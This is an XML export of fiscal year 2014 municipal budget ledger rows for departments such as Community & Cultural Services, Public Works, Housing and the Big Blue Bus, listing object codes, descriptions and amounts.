<row _id="7865"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409003.0</object><object_description>CHILDCARE-NOVEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-35467.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35467.0</total></row>
<row _id="7866"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409032.0</object><object_description>CAMP SM-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-8733.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8733.0</total></row>
<row _id="7867"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409051.0</object><object_description>MIDDLE SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-29056.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-29056.0</total></row>
<row _id="7868"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402780.0</object><object_description>CASKET SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-100891.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100891.0</total></row>
<row _id="7869"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556190.0</object><object_description>MISC SERVICES/SALES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>34300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34300.0</total></row>
<row _id="7870"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="7871"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>25370.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25370.0</total></row>
<row _id="7872"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2291.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2291.0</total></row>
<row _id="7873"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1506.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1506.0</total></row>
<row _id="7874"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>447.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>447.0</total></row>
<row _id="7875"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="7876"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577650.0</object><object_description>MAINTENANCE / GUARDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62000.0</total></row>
<row _id="7877"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8376.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8376.0</total></row>
<row _id="7879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18503.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18503.0</total></row>
<row _id="7880"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400881.0</object><object_description>SPC HAP SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-64240.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-64240.0</total></row>
<row _id="7881"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400884.0</object><object_description>SPC HAP EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-214044.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-214044.0</total></row>
<row _id="7882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="7883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400885.0</object><object_description>SPC HAP NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-290481.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-290481.0</total></row>
<row _id="7884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29068.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29068.0</total></row>
<row _id="7885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8450.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8450.0</total></row>
<row _id="7886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>545010.0</object><object_description>AQUATIC SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>75000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75000.0</total></row>
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<row _id="7891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409180.0</object><object_description>COMMERCIAL INSTRUCTION USE CHA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-63000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-63000.0</total></row>
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<row _id="7893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
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<row _id="7897"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>37395.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37395.0</total></row>
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<row _id="7903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>40141.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40141.0</total></row>
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<row _id="7927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405090.0</object><object_description>CITY YARDS LEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-1433025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1433025.0</total></row>
<row _id="7928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405580.0</object><object_description>GILLETTE SETTLEMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-2433175.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2433175.0</total></row>
<row _id="7929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2742.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2742.0</total></row>
<row _id="7930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>579260.0</object><object_description>INTERNET/WWW SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31000.0</total></row>
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<row _id="7933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1762.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1762.0</total></row>
<row _id="7934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1188.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1188.0</total></row>
<row _id="7935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>800.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="7936"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="7937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="7938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4500.0</total></row>
<row _id="7939"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>CAPITAL GRANTS-MISC PROJ-ARRA</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2014</fiscal_year><july>-2486491.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2486491.0</total></row>
<row _id="7940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>627.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>627.0</total></row>
<row _id="7942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6150.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6150.0</total></row>
<row _id="7943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567220.0</object><object_description>PFA 2011A (PKG ST 6)</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2667131.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2667131.0</total></row>
<row _id="7944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409080.0</object><object_description>ADULT SOCCER LEAGUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-245999.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-245999.0</total></row>
<row _id="7945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24947.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24947.0</total></row>
<row _id="7946"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>107368.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107368.0</total></row>
<row _id="7947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6400.0</total></row>
<row _id="7948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>99146.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>99146.0</total></row>
<row _id="7949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
